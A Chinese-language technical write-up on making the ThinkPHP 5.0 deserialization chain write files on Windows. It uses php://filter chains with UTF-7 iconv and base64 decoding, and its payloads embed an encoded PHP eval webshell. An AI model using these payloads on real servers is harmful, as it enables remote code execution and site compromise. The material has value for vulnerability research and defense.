Thinkphp5.0反序列化链在Windows下写文件的方法
字数 1048 2025-08-25 22:58:20
ThinkPHP5.0反序列化链在Windows下写文件的方法
前言
ThinkPHP5.0的反序列化漏洞在利用过程中存在两个主要问题:
- 无法在Windows系统下写入文件
- 在Linux系统下写入的文件无法正常执行代码
本文将详细分析这些问题产生的原因,并提供有效的解决方案。
问题分析
Windows下无法写文件的原因
在Windows系统中,文件名不能包含以下特殊字符:
?<>:"\/|*
而ThinkPHP5.0反序列化链生成的payload通常包含类似<?cuc @riny($_TRG[_]);?>的代码片段,其中的<和?字符导致Windows系统拒绝创建文件。
Linux下文件无法执行的原因
在Linux系统下虽然可以成功写入文件,但文件内容中的<?cuc会被PHP解释器识别为短标签语法,由于<?后跟随的cuc不符合PHP语法规则,导致解析错误:
Parse error: syntax error, unexpected 'rkvg' (T_STRING)
解决方案探索
尝试使用strip_tags和base64过滤器
最初尝试使用以下两种过滤器组合:
string.strip_tags- 去除HTML和PHP标签convert.base64-decode- 解码base64编码内容
示例代码:
$filename = "php://filter/string.strip_tags|convert.base64-decode/resource=PD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../a.php";
$data = "<?php \n//000000000000\nexit();?>\nphp://filter/string.strip_tags|convert.base64-decode/resource=aPD9waHAgZXZhbCgkX0dFVFtjY2NdKTsgPz4/../a.php";
问题:resource=后面的等号(=)会导致base64解码失败。
使用convert.iconv.*过滤器
发现convert.iconv.*过滤器可以将特殊字符转换为可被base64解码的形式:
=被转换为+AD0-- 这些转换后的字符可以被
convert.base64-decode正确解码
示例:
$cc = 'php://filter/convert.iconv.utf-8.utf-7/resource=123.txt';
file_put_contents($cc, '=');
// 写入内容为: +AD0-
最终解决方案
结合convert.iconv和convert.base64-decode过滤器,构造有效的payload:
$payload = 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php';
$filename = $payload . '468bc8d30505000a2d7d24702b2cda94.php';
$data = "<?php \n//000000000000\nexit();?>\n" . serialize($payload . '647c4f96a28a577173d6e398eefcc3fe.php');
file_put_contents($filename, $data);
关键点说明
- 字符集转换:使用
convert.iconv.utf-8.utf-7将特殊字符转换为UTF-7编码 - base64解码:后续使用
convert.base64-decode解码转换后的内容 - 文件名构造:确保最终文件名不包含Windows禁止的特殊字符
- 文件内容处理:通过序列化和过滤器链确保写入的内容可被正确解析
后记
convert.iconv.*过滤器支持的字符集可以通过以下方式查看:
- PHP手册英文版
- Linux下执行
iconv -l命令
实际利用时,需要根据目标环境调整字符集转换参数,确保payload能在不同系统下正常工作。